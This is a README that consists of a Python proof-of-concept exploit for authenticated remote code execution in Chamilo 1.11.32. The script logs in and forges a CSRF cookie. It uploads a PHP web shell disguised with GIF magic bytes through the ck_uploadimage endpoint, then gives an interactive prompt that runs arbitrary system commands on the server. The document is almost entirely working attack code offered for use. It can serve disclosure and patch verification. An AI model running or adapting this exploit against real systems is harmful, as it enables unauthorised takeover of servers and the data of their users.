README.md
Rendering markdown...
import requests
import argparse
import sys
import random
import string
import time
def exploit(url, username, password):
session = requests.Session()
# 1. Login
login_url = f"{url}/index.php"
print(f"[+] 1. Logging in as {username}...")
login_data = {
'login': username,
'password': password,
'submitAuth': 1
}
try:
resp = session.post(login_url, data=login_data, allow_redirects=True)
if "user_portal.php" not in resp.url and "index.php" in resp.url and "loginFailed" in resp.url:
print("[-] Login failed. Check credentials.")
return
print("[+] Login successful.")
except Exception as e:
print(f"[-] Login request failed: {e}")
return
# 2. Prepare Payload
# Generate a random PHP filename
filename = ''.join(random.choices(string.ascii_lowercase, k=8)) + ".php"
# Magic bytes for GIF89a to bypass mime_content_type check if strictly implemented on magic bytes
# The vulnerability report states mime_content_type is used.
# Payload: GIF89a header + PHP shell
payload_content = b'GIF89a;\n<?php echo "Shell Executed: "; system($_GET["cmd"]); ?>'
# 3. Upload File
# Endpoint: main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=CVD
# cidReq is required for api_protect_course_script() to pass
upload_url = f"{url}/main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=CVD"
print(f"[+] 2. Uploading malicious file to {upload_url}...")
# Generate a random CSRF token
csrf_token = ''.join(random.choices(string.ascii_letters + string.digits, k=20))
# Set the cookie
session.cookies.set("ckCsrfToken", csrf_token)
# Correct multipart structure is crucial.
# The PHP script expects $_FILES['upload']
# We send csrf token as a field in the multipart data via 'data' parameter
files = {
'upload': (filename, payload_content, 'image/gif')
}
# We don't need 'data' anymore if we put it in 'files' with None filename
# but requests might need it in 'data' for simple fields.
# Let's try putting it in 'data' as standard requests usage first, but make sure cookies are set.
# The previous attempt didn't work. The issue might be requests not sending the cookie properly or the token mismatch.
# Let's verify we are getting the cookie first.
if 'ckCsrfToken' not in session.cookies:
session.cookies.set("ckCsrfToken", csrf_token)
data = {
'ckCsrfToken': csrf_token
}
try:
# Note: 'files' argument in requests automatically sets Content-Type to multipart/form-data
# We explicitly pass cookies just to be safe, though session should handle it.
resp = session.post(upload_url, files=files, data=data, cookies={"ckCsrfToken": csrf_token})
if resp.status_code != 200:
print(f"[-] Upload failed with status code {resp.status_code}")
print("Response:", resp.text)
return
# Check for redirects
if len(resp.history) > 0:
print("[-] Request was redirected:")
for r in resp.history:
print(f" {r.status_code} -> {r.url}")
print(f" Final URL: {resp.url}")
# Parse JSON response
try:
json_resp = resp.json()
# Check for boolean true or 1 or string "1"
if json_resp.get('uploaded') == 1 or json_resp.get('uploaded') == True:
relative_url = json_resp.get('url')
print(f"[+] Upload successful! Relative URL: {relative_url}")
# 4. Execute Command
# The relative URL usually starts with /, so we join carefully
if relative_url.startswith('/'):
shell_full_url = f"{url}{relative_url}"
else:
shell_full_url = f"{url}/{relative_url}"
print(f"[+] 3. Remote Shell Active at {shell_full_url}")
print("[+] Type 'exit' to quit.")
while True:
try:
cmd = input("Shell> ")
if cmd.lower() in ['exit', 'quit']:
break
# Add a cache-buster to prevent caching
shell_resp = session.get(shell_full_url, params={'cmd': cmd, '_': int(time.time())})
if "Shell Executed:" in shell_resp.text:
# Extract output after our marker
output = shell_resp.text.split("Shell Executed: ")[1].strip()
print(output)
else:
print("[-] Execution marker not found.")
# print(shell_resp.text)
except KeyboardInterrupt:
print("\n[+] Exiting...")
break
except Exception as e:
print(f"[-] Error: {e}")
else:
print("[-] Upload failed according to JSON response.")
print("Response:", json_resp)
except ValueError:
print("[-] Failed to parse JSON response. Raw response:")
print(f"Final URL: {resp.url}")
print(resp.text)
print(f"Status Code: {resp.status_code}")
except Exception as e:
print(f"[-] Upload request failed: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Chamilo 1.11.32 Authenticated RCE Exploit (CVE-PoC)")
parser.add_argument("-u", "--url", required=True, help="Base URL of Chamilo (e.g., http://localhost/chamilo)")
parser.add_argument("-l", "--login", required=True, help="Username")
parser.add_argument("-p", "--password", required=True, help="Password")
args = parser.parse_args()
# Remove trailing slash from URL
target_url = args.url.rstrip('/')
exploit(target_url, args.login, args.password)
# Usage: python .\cvd-10-10.py -u http://localhost:8081 -l student -p cvd1010